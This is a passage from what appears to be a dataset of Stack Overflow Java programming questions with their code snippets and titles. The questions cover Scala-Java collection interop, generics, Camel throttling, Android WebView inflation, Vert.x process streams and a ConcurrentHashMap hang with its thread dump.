org.springframework.security.oauth2.common.util.SerializationUtils $ SaferObjectInputStream.resolveClass ( SerializationUtils.java:125 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] at java.base/java.io.ObjectInputStream.readNonProxyDesc ( ObjectInputStream.java:1886 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readClassDesc ( ObjectInputStream.java:1772 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readOrdinaryObject ( ObjectInputStream.java:2060 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readObject0 ( ObjectInputStream.java:1594 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.defaultReadFields ( ObjectInputStream.java:2355 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readSerialData ( ObjectInputStream.java:2249 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readOrdinaryObject ( ObjectInputStream.java:2087 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readObject0 ( ObjectInputStream.java:1594 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.defaultReadFields ( ObjectInputStream.java:2355 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readSerialData ( ObjectInputStream.java:2249 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readOrdinaryObject ( ObjectInputStream.java:2087 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readObject0 ( ObjectInputStream.java:1594 ) ~ [ na : na ] at java.base/java.io.ObjectInputStream.readObject ( ObjectInputStream.java:430 ) ~ [ na : na ] at org.springframework.security.oauth2.common.util.SerializationUtils.deserialize ( SerializationUtils.java:62 ) ~ [ spring-security-oauth2-2.3.7.RELEASE.jar : na ] ... 103 common frames omitted",java.io.NotSerializableException with custom UserDetails implementation +Java,"I 'm using asynchttpclient . When building up parameters , one passes a java.util.Map to the setParameters method.The ( Java ) signature looks like the following : Real day 1 stuff . But wow , I 'm trying to call it from Scala and I can not for the life of me create a collection to match that signature . Here 's the mess I 've created so far.And here 's the error message , Fair enough , I would n't have thought I was doing something particularly complicated , but lets give the compiler suggestion a try ... So I change it to the following And receive the following lovely error message in response.Back to basic 's , I 'd also like to mention that my first attempt was as follows.But that produced the following Multiple markers at this line - overloaded method value setParameters with alternatives : ( com.ning.http.client.FluentStringsMap ) com.ning.http.client.RequestBuilder ( java.util.Map [ java.lang.String , java.util.Collection [ java.lang.String ] ] ) com.ning.http.client.RequestBuilder can not be applied to ( java.util.Map [ String , Set [ String ] ] ) Edit , thanks to __0 , this is now working . Here 's my final code :","setParameters ( Map < String , Collection < String > ) ; var m : java.util.Map [ java.lang.String , java.util.Collection [ java.lang.String ] ] = new java.util.HashMap [ java.lang.String , java.util.HashSet [ java.lang.String ] ] ( ) val req = new RequestBuilder ( ) .setUrl ( `` http : //localhost:1234/ '' ) .setParameters ( m ) .build Multiple markers at this line- type mismatch ; found : java.util.HashMap [ java.lang.String , java.util.HashSet [ java.lang.String ] ] required : java.util.Map [ java.lang.String , java.util.Collection [ java.lang.String ] ] Note : java.util.HashSet [ java.lang.String ] < : java.util.Collection [ java.lang.String ] , but Java-defined **trait Map is invariant in type V. You may wish to investigate a wildcard type such as ` _ < : java.util.Collection [ java.lang.String ] ` . ( SLS 3.2.10 ) **- type mismatch ; found : var m : java.util.Map [ java.lang.String , _ < : java.util.Collection [ java.lang.String ] ] = new java.util.HashMap [ java.lang.String , java.util.HashSet [ java.lang.String ] ] ( ) val req = new RequestBuilder ( ) .setUrl ( `` http : //localhost:1234/ '' ) .setParameters ( m ) .build Multiple markers at this line - overloaded method value setParameters with alternatives : ( com.ning.http.client.FluentStringsMap ) com.ning.http.client.RequestBuilder < and > ( java.util.Map [ java.lang.String , java.util.Collection [ java.lang.String ] ] ) com.ning.http.client.RequestBuilder can not be applied to ( java.util.Map [ java.lang.String , _ $ 1 ] ) import scala.collection.JavaConverters._ var m = Map [ String , Set [ String ] ] ( ) val req = new RequestBuilder ( ) .setUrl ( `` http : //localhost:1234/ '' ) .setParameters ( m.asJava ) .build def buildReqMap ( in : Map [ String , String ] ) = { import java.util . { Map = > JMap , Collection = > JColl , HashMap = > JHashM , HashSet = > JHashS } val m : JMap [ String , JColl [ String ] ] = new JHashM [ String , JColl [ String ] ] ( ) in.fold ( m ) { ( a , b ) = > { val s = new JHashS [ String ] ( ) s.add ( b.asInstanceOf [ String ] ) m.put ( a.asInstanceOf [ String ] , s ) m } } m } def main ( args : Array [ String ] ) : Unit = { val m = buildReqMap ( Map ( ( `` delimited '' - > `` length '' ) , ( `` track '' - > `` binarytemple , music , kittens '' ) ) ) val req = new RequestBuilder ( ) .setUrl ( `` http : //localhost:1234/ '' ) .setParameters ( m ) .build val fut = asyncHttpClient.executeRequest ( req , handler ) .get","Scala , does n't like java collections API ?" +Java,"I have a simple below program which iterates through an array I always get different values of consumed time like 743 , 790 , 738 , 825 , 678.Why time taken by for loop is always different for each execution.Note I am running this code inside a main method . My OS is Ubuntu and processor is 32 bit .",Integer [ ] intArray = new Integer [ 20000 ] ; int index=0 ; for ( int i=10000 ; i > =0 ; i -- ) { intArray [ index ] =i ; index++ ; } long startTime = System.currentTimeMillis ( ) ; for ( Integer t : intArray ) { System.out.println ( t ) ; } long endTime = System.currentTimeMillis ( ) ; long consumedTime = endTime-startTime ; System.out.println ( `` Consumed time `` + consumedTime ) ;,Total time taken by a loop to complete always different for each execution +Java,I have a simple question about Java 's XML API and I hope there 's a simple answer too : Lets say that after processing I have the following XML output : The structure is correct but whitespaces are all over the place . The question is that how can I prettify the output so that it looks something like this : Only catch is that I ca n't use anything but Java 5 's own XML API .,< a > < b > < c > < d > < e > some content < /e > < /d > < /c > < /b > < /a > < a > < b > < c > < d > < e > some content < /e > < /d > < /c > < /b > < /a >,prettifying Java XML output +Java,"I have two arrays : Is there a way to traverse both arrays in one for each loop.Size of both arrays remain the same.I know using two individual loops we can traverse and infact in one also its not a big deal , but I want something like this : Please shed some light thanks ... ..Ankur","name [ ] and roll [ ] for ( String n : name , int r : roll ) { //blah blah }",can I use for each for two same sized arrays +Java,"I have a method which returns a List < Property < ? > > .Property is a type having one generic parameter : Having a list of mixed-typed properties , I can not know what type parameter a specific element has.I would like to do something like that : In one sentence : I need the PropertyWrapper to have the same generic template argument as the current Property does . Is there any way to do this ? I could apply a suggestion as stated in https : //stackoverflow.com/a/3437930/146003 but even if I do this , how to instanciate the appropriate PropertyWrapper < XXX > then , only having an instance of Class < T > ? I can modify Property < ? > if required . I also do n't mind if reflection needs to be used ( I assume it needs to be ) EDIT : I forgot something . In fact I can not instanciate the wrapper by the linebecause I have specialized subclasses ( PropertyWrapper_String ) .Now I see two possibilities:1 : Instanciate the class by string:2 : Is there any way to specialize a generic class without creating a subclass ? Many thanks in advance for your tips",public class Property < T extends Comparable < T > > { ... } List < Property < ? > > list = getList ( ) ; for ( Property < ? > crt : list ) { PropertyWrapper < ? > crtWrapper = new PropertyWrapper ( crt.getGenericType ( ) ) ; // I know this does n't exist -- -- ^ } PropertyWrapper < ? > crtWrapper = new PropertyWrapper ( crt.getGenericType ( ) ) ; String strGenericType = `` '' ; Class < ? > wrapperClass = Class.forName ( `` PropertyWrapper_ '' + strGenericType ) ;,Generics : Get name of instance +Java,"I have the following generic class header in Java : The class represents an organized group . For instance , a music group would have a music leader , an enterprise would have a boss ... How can I represent the condition T extends Leader using UML ? REMARK/EDIT : There are different so questions that ask about generics and UML . However , my question asks about and additional restriction the parameter should be shown in the diagram as subclass of another class .",class OrganizedGroup < T extends Leader >,UML . Generic class with limited parameter +Java,"I was trying to understand why this ( ) and super ( ) cant be used together ? I have read many of the related discussions here on stackoverflow and got many things understood . But just one confusion I still have is . calling this ( ) inside a constructor implicitly calls super ( ) consider this code..and OUTPUT is : Top default constructor A parametrized constructor A default constructorI was not expecting the first line in output `` Top default constructor '' as there is no super ( ) call , implicit or explicit.So there is , probably , something which I misunderstood . Please explain .",class Top { int z ; Top ( ) { System.out.println ( `` Top default constructor '' ) ; } } class A extends Top { int x ; A ( int num ) { x=num ; System.out.println ( `` A parameterized constructor '' ) ; } A ( ) { this ( 5 ) ; System.out.println ( `` A default constructor '' ) ; } public static void main ( String arg [ ] ) { new A ( ) ; } },Is it true that calling this ( ) inside a constructor implicitly calls super ( ) ? +Java,"I have a JMS queue . After receiving the message it needs to be stored to DB . Then depending on some condition I want send this message to third party service with fixed rate , so I use throttling.I have the following route : However , the entire route gets throttled , not the part related to third party service client . I mean , that if I put 100 messages in the queue , only first 5 will be read . So , in this case the processing of messages that do n't require third party service get delayed.Any ideas on how to throttle only on the part related to third party service ? Thanks in advance",from ( `` jms : queue '' ) .bean ( persistingListener ) .choice ( ) .when ( some condition .. ) .throttle ( 5 ) .asyncDelayed ( ) .bean ( thirdPartyServiceClient ) .endChoice ( ) ;,Apache Camel . Throttle Part of the Route +Java,I have the following code : Case 1 : 11:50:36.370 onCreateView : start 11:50:36.410 onCreateView : stop Execution time : 40msThen I add a WebView and do n't touch any other code Case 2 : 11:51:16.645 onCreateView : start 11:51:16.985 onCreateView : stop Execution time : 340msAs you see there 's huge difference and I see my interface lagging in the second case.1 ) Is this an intended behaviour ? 2 ) If so how can I get rid of lags in my UI ? Thanks in advanceEdit : The full log of second case :,"public View onCreateView ( LayoutInflater _inflater , ViewGroup _group , Bundle _savedInstanceState ) { Log.w ( getClass ( ) .getName ( ) , `` start '' ) ; View view = _inflater.inflate ( R.layout.myLayout , _group , false ) ; Log.w ( getClass ( ) .getName ( ) , `` stop '' ) ; return view ; } //myLayout.xml < FrameLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > < android.support.v7.widget.RecyclerView xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' / > < /FrameLayout > //myLayout.xml < FrameLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > < android.support.v7.widget.RecyclerView xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' / > < WebView android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' / > < /FrameLayout > 11:51:16.645 onCreateView : start11:51:16.710 I/WebViewFactory : Loading com.google.android.webview version 51.0.2704.81 ( code 270408100 ) 11:51:16.740 W/art : Suspending all threads took : 11.333ms11:51:16.755 I/cr_LibraryLoader : Time to load native libraries : 2 ms ( timestamps 5137-5139 ) 11:51:16.755 I/cr_LibraryLoader : Expected native library version number `` 51.0.2704.81 '' , actual native library version number `` 51.0.2704.81 '' 11:51:16.765 V/WebViewChromiumFactoryProvider : Binding Chromium to main looper Looper ( main , tid 1 ) { 1d66229a } 11:51:16.765 I/cr_LibraryLoader : Expected native library version number `` 51.0.2704.81 '' , actual native library version number `` 51.0.2704.81 '' 11:51:16.765 I/chromium : [ INFO : library_loader_hooks.cc ( 143 ) ] Chromium logging enabled : level = 0 , default verbosity = 011:51:16.795 I/cr_BrowserStartup : Initializing chromium process , singleProcess=true11:51:16.805 E/ApkAssets : Error while loading asset assets/natives_blob_64.bin : java.io.FileNotFoundException : assets/natives_blob_64.bin11:51:16.805 E/ApkAssets : Error while loading asset assets/snapshot_blob_64.bin : java.io.FileNotFoundException : assets/snapshot_blob_64.bin11:51:16.870 W/cr_media : Requires BLUETOOTH permission11:51:16.885 I/art : Rejecting re-init on previously-failed class java.lang.Class < com.android.webview.chromium.WebViewContentsClientAdapter $ WebResourceErrorImpl > 11:51:16.885 I/art : Rejecting re-init on previously-failed class java.lang.Class < com.android.webview.chromium.WebViewContentsClientAdapter $ WebResourceErrorImpl > 11:51:16.920 D/ConnectivityManager.CallbackHandler : CM callback handler got msg 52429011:51:16.935 11557-11588/ ? W/FlurryAgent : Flurry session ended11:51:16.945 I/art : Rejecting re-init on previously-failed class java.lang.Class < org.chromium.content.browser.FloatingWebActionModeCallback > 11:51:16.945 I/art : Rejecting re-init on previously-failed class java.lang.Class < org.chromium.content.browser.FloatingWebActionModeCallback > 11:51:16.970 D/cr_Ime : [ InputMethodManagerWrapper.java:30 ] Constructor11:51:16.980 W/cr_AwContents : onDetachedFromWindow called when already detached . Ignoring11:51:16.980 D/cr_Ime : [ InputMethodManagerWrapper.java:59 ] isActive : false11:51:16.985 onCreateView : stop",WebView inflates too slowly +Java,"I have generator g , once I run it from console , it starts writing to console output ( stdout ) sleep for x seconds and continue , a stream of data .I would like my program to run g and bind to his output to java vertx application as stream input . I would like all the reading to be done async , how can I achieve it ? this is what I am doing : and this is the exception which is thrown :",public class InputHandler extends AbstractVerticle { final String command = `` path '' ; @ Override public void start ( ) throws Exception { Runtime r = Runtime.getRuntime ( ) ; Process p ; // Process tracks one external native process BufferedReader is ; // reader for output of process String line ; p = r.exec ( command ) ; System.out.println ( `` In Main after exec '' ) ; is = new BufferedReader ( new InputStreamReader ( p.getInputStream ( ) ) ) ; while ( ( line = is.readLine ( ) ) ! = null ) try { System.out.println ( line ) ; } catch ( Exception ex ) { System.out.println ( ex ) ; } } } io.vertx.core.VertxException : Thread blocked at java.io.FileInputStream.readBytes ( Native Method ) at java.io.FileInputStream.read ( FileInputStream.java:255 ) at java.io.BufferedInputStream.read1 ( BufferedInputStream.java:284 ) at java.io.BufferedInputStream.read ( BufferedInputStream.java:345 ) at sun.nio.cs.StreamDecoder.readBytes ( StreamDecoder.java:284 ) at sun.nio.cs.StreamDecoder.implRead ( StreamDecoder.java:326 ) at sun.nio.cs.StreamDecoder.read ( StreamDecoder.java:178 ) at java.io.InputStreamReader.read ( InputStreamReader.java:184 ) at java.io.BufferedReader.fill ( BufferedReader.java:161 ) at java.io.BufferedReader.readLine ( BufferedReader.java:324 ) at java.io.BufferedReader.readLine ( BufferedReader.java:389 ) at io.vertx.example.InputHandler.start ( InputHandler.java:27 ) at io.vertx.core.AbstractVerticle.start ( AbstractVerticle.java:106 ) at io.vertx.core.impl.DeploymentManager.lambda $ doDeploy $ 8 ( DeploymentManager.java:483 ) at io.vertx.core.impl.DeploymentManager $ $ Lambda $ 8/884603232.handle ( Unknown Source ) at io.vertx.core.impl.ContextImpl.lambda $ wrapTask $ 2 ( ContextImpl.java:339 ) at io.vertx.core.impl.ContextImpl $ $ Lambda $ 9/154173878.run ( Unknown Source ) at io.netty.util.concurrent.AbstractEventExecutor.safeExecute ( AbstractEventExecutor.java:163 ) at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks ( SingleThreadEventExecutor.java:404 ) at io.netty.channel.nio.NioEventLoop.run ( NioEventLoop.java:463 ) at io.netty.util.concurrent.SingleThreadEventExecutor $ 5.run ( SingleThreadEventExecutor.java:886 ) at io.netty.util.concurrent.FastThreadLocalRunnable.run ( FastThreadLocalRunnable.java:30 ) at java.lang.Thread.run ( Thread.java:745 ),vertx - how to read stream from executable program async +Java,"Why is this getting error ? I thought map can return any value . | Error : | incompatible types : bad return type in method reference | java.lang.String can not be converted to int | var s = IntStream.rangeClosed ( 1 , 5 ) .map ( String : :valueOf ) .collect ( Collectors.toList ( ) ) ; | ^ -- -- -- -- -- -- -^","var s = IntStream.rangeClosed ( 1 , 5 ) .map ( String : :valueOf ) .collect ( Collectors.toList ( ) ) ;",IntStream rangeClosed unable to return value other than int +Java,I am using Apache Commons Pool to create a pool of Nashorn engines . On application start I call preparePool ( ) to warm up the minIdle number of instances to eval ( ) all scripts into the engine so that it is ready to answer calls to invokeFunction ( ) immediately.The warmupDepending on the pool size and the complexity of the preloaded scripts this takes a considerable amount of time . Questions Can I warmup only one instance and safely clone it to the number of minIdle instances ? Could a clone of a created instance be safely serialized and persisted ? ( which would allow maintaining an engine cache that only needed to be invalidated if one of the assets changes ) Related resources ( will update this section when appropriate ) SO : Clone Entire JavaScript Engine,@ Overridepublic NashornScriptEngine create ( ) { // ... try { engine.eval ( asset1 ) ; engine.eval ( asset2 ) ; engine.eval ( asset3 ) ; } // ... return engine ; },Efficient Way to Prepare an Apache Commons Pool of Nashorn Engines +Java,"Consider the following method : I 've never been a regular expression guru , so can anyone fully explain how this method actually works ? Furthermore , is it efficient compared to other possible methods for determining whether an integer is prime ?",public static boolean isPrime ( int n ) { return ! ( new String ( new char [ n ] ) ) .matches ( `` . ? | ( ..+ ? ) \\1+ '' ) ; },Arcane isPrime method in Java +Java,"It is considered bad practice to style Swing elements using HTML ? As an example , if I want to make a label bigger and red just once , I have two options : Either using API calls : Or by using HTML : In addition , the HTML way allows me to emphasise one word instead of a whole label , and other such uses.What are the drawbacks of using HTML ? Is it more expensive ? And is formatting not guaranteed on all JREs ?",JLabel label = new JLabel ( `` This is a title '' ) ; label.setFont ( label.getFont ( ) .deriveFont ( 18 ) ) ; label.setForeground ( Color.red ) ; JLabel label = new JLabel ( `` < html > < font size= ' 4 ' color= ' # ff0000 ' > This is a title '' ) ;,Is it Bad Practice to use HTML Styling in Java Swing Elements ? +Java,"This is what I 'm doing : The snippet works fine , but only for method calls . This is what AspectJ maven plugin is saying after applying the aspect ( not during its compilation , which works just fine ) : Any workaround ? I 'm with OpenJDK 7 :","@ Aspectpublic class MethodLogger { @ Around ( `` ( execution ( * * ( .. ) ) || initialization ( *.new ( .. ) ) ) & & @ annotation ( Foo ) '' ) public Object wrap ( ProceedingJoinPoint point ) throws Throwable { // works fine , but only for methods } } around on initialization not supported ( compiler limitation ) java version `` 1.7.0_05 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_05-b06 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 23.1-b03 , mixed mode )",How to crosscut annotated methods and constructors ? +Java,I 'm trying to search for an element in a List < String > and I get this compilation error : the method get ( int ) in the type List < String > is not applicable for the argument string.This is the code :,"private boolean findIdInTheList ( List < String > ids , String id ) { String theId = ids.stream ( ) .filter ( elem - > id.equals ( ids.get ( elem ) ) ) .findAny ( ) .orElse ( null ) ; }",The method get ( int ) in the type List < String > is not applicable for the argument string in Java 8 +Java,Im trying to create a slope in java . I can use the DrawLine function and it 'll create a perfect one but I dont want to use that but rather create my own function for it . The problem is that it has gaps between the dots .,"import java.applet.Applet ; import java.awt.Graphics ; public class slope extends Applet { public void drawLine ( int x1 , int y1 , int x2 , int y2 , Graphics g ) { double m = ( y2 - y1 ) / ( double ) ( x2-x1 ) ; double y = y1 ; for ( int x =x1 ; x < x2 ; x++ ) { drawPoint ( x , ( int ) y , g ) ; y +=m ; } } public void paint ( Graphics g ) { drawLine ( 20 , 10 , 300 , 700 , g ) ; //has spaces between the dots g.drawLine ( 20 , 10 , 300 , 700 ) ; //this is perfect } private void drawPoint ( int x , int y , Graphics g ) { g.drawLine ( x , y , x , y ) ; } }",creating a slope in Java +Java,"First I 'll summarize what I 've found so far.This answer suggests that changing the concurrencyLevel parameter of ConcurrentHashMap 's constructor might help . I 've tried that and my code still hanged.Answers here suggest that it could be a runtime bug.What I 'm trying to do : I have 10 worker threads running along with a main thread . The worker threads will have to process many arrays to find the index of the max element in the array ( if there are multiple max values , the first occurrence will be used ) . Among these `` many arrays , '' some of them can be duplicate , so I 'm trying to avoid those full array scans to speed up the program.The controller class contains a ConcurrentHashMap that maps the hash values of arrays to the corresponding max-element indices.The worker threads will ask the controller class for the mapped index first before trying to calculate the index by doing full array scans . In the latter case , the newly calculated index will be put into the map.The main thread does not access the hash map.What happened : My code will hang after 70,000 ~ 130,000 calls to getMaxIndex ( ) . This count is obtained by putting a log string into getMaxIndex ( ) so it might not be exactly accurate.My CPU usage will gradually go up for ~6 seconds , and then it will go down to ~10 % after peaked at ~100 % . I have plenty of unused memory left . ( Does this look like deadlock ? ) If the code does not use map it works just fine ( see getMaxIndex ( ) version 2 below ) .I 've tried to add synchronized to getMaxIndex ( ) 's signature and use the regular HashMap instead , that also did not work.I 've tried to use different initialCapacity values too ( e.g . 50,000 & 100,000 ) . Did not work.Here 's my code : The worker thread will call getMaxIndex ( ) like this : return remaining [ controller.getMaxIndex ( arr ) ] ; , remaining is just another int array.getMaxIndex ( ) v2 : JVM info in case it matters : EDIT : stack dump ; I used Phaser to synchronize the worker threads , so some of them appear to be waiting on the phaser , but pool-1-thread-2 , pool-1-thread-10 , pool-1-thread-11 , and pool-1-thread-12 do not appear to be waiting on the phaser .","// in the controller classint getMaxIndex ( @ NotNull double [ ] arr ) { int hash = Arrays.hashCode ( arr ) ; if ( maxIndices.containsKey ( hash ) ) { return maxIndices.get ( hash ) ; } else { int maxIndex = IntStream.range ( 0 , arr.length ) .reduce ( ( a , b ) - > arr [ a ] < arr [ b ] ? b : a ) .orElse ( -1 ) ; // -1 to let program crash maxIndices.put ( hash , maxIndex ) ; return maxIndex ; } } int getMaxIndex ( @ NotNull double [ ] arr ) { return IntStream.range ( 0 , arr.length ) .reduce ( ( a , b ) - > arr [ a ] < arr [ b ] ? b : a ) .orElse ( -1 ) ; // -1 to let program crash } java version `` 1.8.0_151 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_151-b12 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.151-b12 , mixed mode ) Full thread dump Java HotSpot ( TM ) 64-Bit Server VM ( 25.151-b12 mixed mode ) : '' Attach Listener '' # 23 daemon prio=9 os_prio=0 tid=0x00007f0c54001000 nid=0x4da2 waiting on condition [ 0x0000000000000000 ] java.lang.Thread.State : RUNNABLE '' pool-1-thread-13 '' # 22 prio=5 os_prio=0 tid=0x00007f0c8c2cb800 nid=0x4d5e waiting on condition [ 0x00007f0c4eddd000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e792f40 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-12 '' # 21 prio=5 os_prio=0 tid=0x00007f0c8c2ca000 nid=0x4d5d waiting on condition [ 0x00007f0c4eede000 ] java.lang.Thread.State : TIMED_WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x0000000775518738 > ( a java.util.concurrent.SynchronousQueue $ TransferStack ) at java.util.concurrent.locks.LockSupport.parkNanos ( LockSupport.java:215 ) at java.util.concurrent.SynchronousQueue $ TransferStack.awaitFulfill ( SynchronousQueue.java:460 ) at java.util.concurrent.SynchronousQueue $ TransferStack.transfer ( SynchronousQueue.java:362 ) at java.util.concurrent.SynchronousQueue.poll ( SynchronousQueue.java:941 ) at java.util.concurrent.ThreadPoolExecutor.getTask ( ThreadPoolExecutor.java:1073 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1134 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-11 '' # 20 prio=5 os_prio=0 tid=0x00007f0c8c2c8000 nid=0x4d5c waiting on condition [ 0x00007f0c4efdf000 ] java.lang.Thread.State : TIMED_WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x0000000775518738 > ( a java.util.concurrent.SynchronousQueue $ TransferStack ) at java.util.concurrent.locks.LockSupport.parkNanos ( LockSupport.java:215 ) at java.util.concurrent.SynchronousQueue $ TransferStack.awaitFulfill ( SynchronousQueue.java:460 ) at java.util.concurrent.SynchronousQueue $ TransferStack.transfer ( SynchronousQueue.java:362 ) at java.util.concurrent.SynchronousQueue.poll ( SynchronousQueue.java:941 ) at java.util.concurrent.ThreadPoolExecutor.getTask ( ThreadPoolExecutor.java:1073 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1134 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-10 '' # 19 prio=5 os_prio=0 tid=0x00007f0c8c2c6000 nid=0x4d5b waiting on condition [ 0x00007f0c4f0e0000 ] java.lang.Thread.State : TIMED_WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x0000000775518738 > ( a java.util.concurrent.SynchronousQueue $ TransferStack ) at java.util.concurrent.locks.LockSupport.parkNanos ( LockSupport.java:215 ) at java.util.concurrent.SynchronousQueue $ TransferStack.awaitFulfill ( SynchronousQueue.java:460 ) at java.util.concurrent.SynchronousQueue $ TransferStack.transfer ( SynchronousQueue.java:362 ) at java.util.concurrent.SynchronousQueue.poll ( SynchronousQueue.java:941 ) at java.util.concurrent.ThreadPoolExecutor.getTask ( ThreadPoolExecutor.java:1073 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1134 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-9 '' # 18 prio=5 os_prio=0 tid=0x00007f0c8c2c4800 nid=0x4d5a waiting on condition [ 0x00007f0c4f1e1000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e7c74f8 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-8 '' # 17 prio=5 os_prio=0 tid=0x00007f0c8c2c2800 nid=0x4d59 waiting on condition [ 0x00007f0c4f2e2000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e64fb78 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-7 '' # 16 prio=5 os_prio=0 tid=0x00007f0c8c2c1000 nid=0x4d58 waiting on condition [ 0x00007f0c4f3e3000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e8b44c8 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) '' pool-1-thread-6 '' # 15 prio=5 os_prio=0 tid=0x00007f0c8c2bf800 nid=0x4d57 waiting on condition [ 0x00007f0c4f4e4000 ] java.lang.Thread.State : WAITING ( parking ) at sun.misc.Unsafe.park ( Native Method ) - parking to wait for < 0x000000076e5b4500 > ( a java.util.concurrent.Phaser $ QNode ) at java.util.concurrent.locks.LockSupport.park ( LockSupport.java:175 ) at java.util.concurrent.Phaser $ QNode.block ( Phaser.java:1140 ) at java.util.concurrent.ForkJoinPool.managedBlock ( ForkJoinPool.java:3323 ) at java.util.concurrent.Phaser.internalAwaitAdvance ( Phaser.java:1067 ) at java.util.concurrent.Phaser.arriveAndAwaitAdvance ( Phaser.java:690 ) at Ant.call ( Ant.java:77 ) at Ant.call ( Ant.java:10 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:266 ) 